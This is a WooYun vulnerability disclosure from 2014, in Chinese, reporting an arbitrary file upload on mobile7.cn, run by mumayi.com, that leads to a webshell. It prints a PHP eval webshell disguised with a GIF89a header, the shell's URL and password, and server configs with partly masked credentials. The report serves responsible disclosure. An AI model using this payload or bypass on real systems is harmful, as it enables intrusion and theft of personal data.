当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(5) 关注此漏洞

缺陷编号: WooYun-2014-84662

漏洞标题: 木蚂蚁某站getshell影响多个业务站点

相关厂商: mumayi.com

漏洞作者: 鸟云厂商认证白帽子

提交时间: 2014-11-25 18:23

公开时间: 2015-01-09 18:24

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件上传 文件上传漏洞 任意文件上传

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-25: 细节已通知厂商并且等待厂商处理中
2014-11-25: 厂商已经确认,细节仅向厂商公开
2014-12-05: 细节向核心白帽子及相关领域专家公开
2014-12-15: 细节向普通白帽子公开
2014-12-25: 细节向实习白帽子公开
2015-01-09: 细节向公众公开

简要描述:

木蚂蚁某站getshell影响多个业务站点

详细说明:

#1 在木蚂蚁旗下的第七传媒http://mobile7.cn注册了开发者账号,在开发者信息---财务信息---上传证件那里

抓包,修改后缀为php。

但是服务端对文件头做了检测。

所以改PHP文件代码为:

code 区域
GIF89a
<?php @eval($_POST['pass']);?>





通过了服务端的验证

前端直接返回了路径

CC3A06EC-D826-4A02-A9FC-010A9C7B9DD1.png





菜刀连接http://mobile7.cn/Public/upload/cache/3eab38bede51f782b04b7e31aa687bfc.php

密码:pass



影响站点:

code 区域
木蚂蚁wordpress
passport.mumayi.com
wan.mumayi.com
open.mumayi.com
android77.com
mobile7.cn
119.cc



证明:

屏幕快照 2014-11-25 下午3.33.30.png



屏幕快照 2014-11-25 下午3.33.54.png





泄露了2012-2014年的开发者身份证照片、营业执照。数据量没做估计

屏幕快照 2014-11-25 下午3.34.50.png







泄露数据库连接信息

/var/html/corp_open/www.mobile7.cn/Conf/config.php

code 区域
<?php
//上线配置
return array(
'URL_MODEL'=>3, // 如果你的环境不支持PATHINFO 请设置为3
'DB_TYPE'=>'mysql',
'DB_HOST'=>'17*******09',
'DB_NAME'=>'m*******ayi',
'DB_USER'=>'m*******yi',
'DB_PWD'=>',A*******Z',
'DB_PORT'=>'3306',
'DB_PREFIX'=>'*******_',
'SESSION_PREFIX'=>'think',
'SESSION_EXPIRE' => 3600*7, // 默认Session有效期
'URL_CASE_INSENSITIVE' =>true,
'ACTIVITY_REGIST' => FALSE, //活动状态
'TMP_AUTH_UPLOAD_DIR' => dirname(dirname(__FILE__))
);



/var/html/corp_open/open_mumayi/market/redis/redis.class.php

code 区域
<?php

$RedisConfig = @require_once("/mnt/html/redis_config/config.php");

class EggRedis{

public $host = '1*******4';

public $port = 6***9;

public $password = "m*********Ta";



/var/html/corp_open/wan_mumayi/include/Email.php

code 区域
////////////////////////////////////////////////
function __construct(){
$this->CharSet = 'utf-8';
$this->IsSMTP();
$this->SMTPAuth = true; // enable SMTP authentication
//$this->SMTPSecure = "ssl"; //gmail sets the prefix to the servier
$this->Host = "smtp.163.com"; // sets GMAIL as the SMTP server
$this->Port = 25; //gmail set the SMTP port for the GMAIL server
$this->Username = "c*******el@163.com"; // smtp 用户
$this->Password = 'w*******4'; // smtp密码

$this->AddReplyTo("c*******l@163.com","木蚂蚁网络");//邮件回复给谁

$this->From = "cui*******el@163.com"; //发信人邮箱
$this->FromName = "木蚂蚁网络";//发信人姓名



code 区域
define('DBHOST', '1*******2');
define('DBUSER', 'w*******yi');
define('DBPASSWD', 'H*******f');
define('DBNAME', 'w*******yi');
define('DBPREFIX', 'w*******_');

漏洞证明:

修复方案:

上传文件的目录设置成不解析PHP

版权声明:转载请注明来源 鸟云厂商@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-11-25 18:28

厂商回复:

技术蚂蚁正在修复,非常感谢

最新状态:

2014-11-25:已经修复完毕,感谢


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-25 18:51 | 木蚂蚁应用市场(乌云厂商)
    1

    感谢提醒,已经索要联系方式,随后会送上礼品一份,感谢

  2. 2014-12-27 08:47 | Ch丶0nly ( 普通白帽子 | Rank:205 漏洞数:50 | 专注网络30年。)
    1

    这样的厂商不多了

登录后才能发表评论,请先 登录